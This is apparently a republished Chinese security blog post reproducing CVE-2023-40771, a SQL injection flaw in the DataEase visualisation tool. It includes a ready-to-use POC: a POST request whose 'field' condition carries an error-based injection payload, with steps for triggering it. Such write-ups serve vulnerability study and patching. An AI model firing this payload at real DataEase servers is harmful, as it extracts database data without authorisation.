本人非原创漏洞作者，文章仅作为知识分享用
一切直接或间接由于本文所造成的后果与本人无关
如有侵权，联系删除
产品简介
DataEase 是开源的数据可视化分析工具，帮助用户快速分析数据并洞察业务趋势，从而实现业务的改进与优化。DataEase 支持丰富的数据源连接，能够通过拖拉拽方式快速制作图表，并可以方便地与他人分享。
开发语言：java官网地址：https://www.fit2cloud.com/GitHub：https://github.com/dataease/dataease
漏洞描述
DataEase v.1.18.9 中的 SQL 注入漏洞允许远程攻击者通过黑名单功能之外的精心设计的字符串获取敏感信息。
影响版本
DataEase ≤ v.1.18.9
空间测绘
回复“CVE-2023-40771”获取空间测绘语句漏洞利用
POC
POST /api/log/logGrid/1/10{"orders":["time desc"],"conditions":[{"field":"123 AND GTID_SUBSET(CONCAT(0x716a6a6b71,(SELECT version()),0x716a6a6a71),1215)"}]}
1.登录后台
2.然后点击“系统管理”，“操作日志”
3.抓包，POC验证漏洞存在
参考链接
https://nvd.nist.gov/vuln/detail/CVE-2023-40771https://github.com/dataease/dataease/issues/5861
回复“CVE-2023-40771”获取空间测绘语句
原文始发于微信公众号（不够安全）：CVE-2023-40771：DataEase数据可视化分析工具SQL注入 漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论